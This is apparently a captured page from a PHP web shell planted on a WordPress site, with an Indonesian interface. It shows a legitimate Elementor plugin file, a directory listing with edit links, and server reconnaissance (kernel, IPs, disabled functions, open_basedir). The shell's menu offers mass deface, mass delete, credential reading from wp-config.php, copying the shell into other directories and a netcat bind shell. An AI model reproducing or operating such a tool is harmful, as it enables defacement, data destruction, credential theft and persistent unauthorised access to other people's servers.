WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor / includes / controls / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/includes/controls/repeater.php (4.96 KB)
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor repeater control.
 *
 * A base control for creating repeater control. Repeater control allows you to
 * build repeatable blocks of fields. You can create, for example, a set of
 * fields that will contain a title and a WYSIWYG text - the user will then be
 * able to add "rows", and each row will contain a title and a text. The data
 * can be wrapper in custom HTML tags, designed using CSS, and interact using JS
 * or external libraries.
 *
 * @since 1.0.0
 */
class Control_Repeater extends Base_Data_Control implements Has_Validation {

	/**
	 * Get repeater control type.
	 *
	 * Retrieve the control type, in this case `repeater`.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Control type.
	 */
	public function get_type() {
		return 'repeater';
	}

	/**
	 * Get repeater control default value.
	 *
	 * Retrieve the default value of the data control. Used to return the default
	 * values while initializing the repeater control.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @return array Control default value.
	 */
	public function get_default_value() {
		return [];
	}

	/**
	 * Get repeater control default settings.
	 *
	 * Retrieve the default settings of the repeater control. Used to return the
	 * default settings while initializing the repeater control.
	 *
	 * @since 1.0.0
	 * @access protected
	 *
	 * @return array Control default settings.
	 */
	protected function get_default_settings() {
		return [
			'fields' => [],
			'title_field' => '',
			'prevent_empty' => true,
			'is_repeater' => true,
			'max_items' => 0,
			'min_items' => 0,
			'item_actions' => [
				'add' => true,
				'duplicate' => true,
				'remove' => true,
				'sort' => true,
			],
		];
	}

	/**
	 * Get repeater control value.
	 *
	 * Retrieve the value of the repeater control from a specific Controls_Stack.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $control  Control.
	 * @param array $settings Controls_Stack settings.
	 *
	 * @return mixed Control values.
	 */
	public function get_value( $control, $settings ) {
		$value = parent::get_value( $control, $settings );

		if ( ! empty( $value ) ) {
			foreach ( $value as &$item ) {
				foreach ( $control['fields'] as $field ) {
					$control_obj = Plugin::$instance->controls_manager->get_control( $field['type'] );

					// Prior to 1.5.0 the fields may contains non-data controls.
					if ( ! $control_obj instanceof Base_Data_Control ) {
						continue;
					}

					$item[ $field['name'] ] = $control_obj->get_value( $field, $item );
				}
			}
		}

		return $value;
	}

	/**
	 * Import repeater.
	 *
	 * Used as a wrapper method for inner controls while importing Elementor
	 * template JSON file, and replacing the old data.
	 *
	 * @since 1.8.0
	 * @access public
	 *
	 * @param array $settings     Control settings.
	 * @param array $control_data Optional. Control data. Default is an empty array.
	 *
	 * @return array Control settings.
	 */
	public function on_import( $settings, $control_data = [] ) {
		if ( empty( $settings ) || empty( $control_data['fields'] ) ) {
			return $settings;
		}

		$method = 'on_import';

		foreach ( $settings as &$item ) {
			foreach ( $control_data['fields'] as $field ) {
				if ( empty( $field['name'] ) || empty( $item[ $field['name'] ] ) ) {
					continue;
				}

				$control_obj = Plugin::$instance->controls_manager->get_control( $field['type'] );

				if ( ! $control_obj ) {
					continue;
				}

				if ( method_exists( $control_obj, $method ) ) {
					$item[ $field['name'] ] = $control_obj->{$method}( $item[ $field['name'] ], $field );
				}
			}
		}

		return $settings;
	}

	/**
	 * Render repeater control output in the editor.
	 *
	 * Used to generate the control HTML in the editor using Underscore JS
	 * template. The variables for the class are available using `data` JS
	 * object.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function content_template() {
		?>
		<label>
			<span class="elementor-control-title">{{{ data.label }}}</span>
		</label>
		<div class="elementor-repeater-fields-wrapper" role="list"></div>
		<# if ( itemActions.add ) { #>
			<div class="elementor-button-wrapper">
				<button class="elementor-button elementor-repeater-add" type="button">
					<i class="eicon-plus" aria-hidden="true"></i>
					<# if ( data.button_text ) { #>
						{{{ data.button_text }}}
					<# } else { #>
						<?php echo esc_html__( 'Add Item', 'elementor' ); ?>
					<# } #>
				</button>
			</div>
		<# } #>
		<?php
	}

	public function validate( array $control_data ): bool {
		if ( isset( $control_data['min_items'] ) ) {

			if (
				! isset( $control_data['default'] ) ||
				count( $control_data['default'] ) < $control_data['min_items']
			) {
				throw new \Exception(
					esc_html__( 'In a Repeater control, if you specify a minimum number of items, you must also specify a default value that contains at least that number of items.', 'elementor' )
				);
			}
		}

		return true;
	}
}
namawaktuukuranownerpermaksi
..
groups/ 2026-11-25 08:1091.75 KB 76129f60960:kundendxwrx-rx-r
alert.php 2026-11-25 08:101.79 KB 76129f60960:kunden-xw-x--x--
edt
animation.php 2026-11-25 08:104.76 KB 76129f60960:kunden-xw-x--x--
edt
base-data.php 2026-11-25 08:103.66 KB 76129f60960:kunden-xw-x--x--
edt
base-icon-font.php 2026-11-25 08:10580 B 76129f60960:kunden-xw-x--x--
edt
base-multiple.php 2026-11-25 08:102.03 KB 76129f60960:kunden-xw-x--x--
edt
base-ui.php 2026-11-25 08:10516 B 76129f60960:kunden-xw-x--x--
edt
base-units.php 2026-11-25 08:103.5 KB 76129f60960:kunden-xw-x--x--
edt
base.php 2026-11-25 08:103.08 KB 76129f60960:kunden-xw-x--x--
edt
box-shadow.php 2026-11-25 08:103.39 KB 76129f60960:kunden-xw-x--x--
edt
button.php 2026-11-25 08:101.68 KB 76129f60960:kunden-xw-x--x--
edt
choose.php 2026-11-25 08:102.19 KB 76129f60960:kunden-xw-x--x--
edt
code.php 2026-11-25 08:101.99 KB 76129f60960:kunden-xw-x--x--
edt
color.php 2026-11-25 08:102.04 KB 76129f60960:kunden-xw-x--x--
edt
date-time.php 2026-11-25 08:102.04 KB 76129f60960:kunden-xw-x--x--
edt
deprecated-notice.php 2026-11-25 08:102.27 KB 76129f60960:kunden-xw-x--x--
edt
dimensions.php 2026-11-25 08:105 KB 76129f60960:kunden-xw-x--x--
edt
divider.php 2026-11-25 08:10829 B 76129f60960:kunden-xw-x--x--
edt
exit-animation.php 2026-11-25 08:102.54 KB 76129f60960:kunden-xw-x--x--
edt
font.php 2026-11-25 08:102.22 KB 76129f60960:kunden-xw-x--x--
edt
gallery.php 2026-11-25 08:107.27 KB 76129f60960:kunden-xw-x--x--
edt
gaps.php 2026-11-25 08:101.62 KB 76129f60960:kunden-xw-x--x--
edt
heading.php 2026-11-25 08:101.32 KB 76129f60960:kunden-xw-x--x--
edt
hidden.php 2026-11-25 08:10948 B 76129f60960:kunden-xw-x--x--
edt
hover-animation.php 2026-11-25 08:104.32 KB 76129f60960:kunden-xw-x--x--
edt
icon.php 2026-11-25 08:1031.33 KB 76129f60960:kunden-xw-x--x--
edt
icons.php 2026-11-25 08:107.57 KB 76129f60960:kunden-xw-x--x--
edt
image-dimensions.php 2026-11-25 08:103.71 KB 76129f60960:kunden-xw-x--x--
edt
media.php 2026-11-25 08:1014.96 KB 76129f60960:kunden-xw-x--x--
edt
notice.php 2026-11-25 08:104.07 KB 76129f60960:kunden-xw-x--x--
edt
number.php 2026-11-25 08:102.76 KB 76129f60960:kunden-xw-x--x--
edt
popover-toggle.php 2026-11-25 08:102.66 KB 76129f60960:kunden-xw-x--x--
edt
raw-html.php 2026-11-25 08:101.48 KB 76129f60960:kunden-xw-x--x--
edt
repeater.php 2026-11-25 08:104.96 KB 76129f60960:kunden-xw-x--x--
edt
section.php 2026-11-25 08:101.33 KB 76129f60960:kunden-xw-x--x--
edt
select.php 2026-11-25 08:102.56 KB 76129f60960:kunden-xw-x--x--
edt
select2.php 2026-11-25 08:102.72 KB 76129f60960:kunden-xw-x--x--
edt
slider.php 2026-11-25 08:103.49 KB 76129f60960:kunden-xw-x--x--
edt
structure.php 2026-11-25 08:102.46 KB 76129f60960:kunden-xw-x--x--
edt
switcher.php 2026-11-25 08:102.08 KB 76129f60960:kunden-xw-x--x--
edt
tab.php 2026-11-25 08:101.01 KB 76129f60960:kunden-xw-x--x--
edt
tabs.php 2026-11-25 08:10944 B 76129f60960:kunden-xw-x--x--
edt
text-shadow.php 2026-11-25 08:103.13 KB 76129f60960:kunden-xw-x--x--
edt
text.php 2026-11-25 08:102.08 KB 76129f60960:kunden-xw-x--x--
edt
textarea.php 2026-11-25 08:102.01 KB 76129f60960:kunden-xw-x--x--
edt
url.php 2026-11-25 08:105.13 KB 76129f60960:kunden-xw-x--x--
edt
visual-choice.php 2026-11-25 08:102.15 KB 76129f60960:kunden-xw-x--x--
edt
wp-widget.php 2026-11-25 08:101.35 KB 76129f60960:kunden-xw-x--x--
edt
wysiwyg.php 2026-11-25 08:101.73 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/includes/controls
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK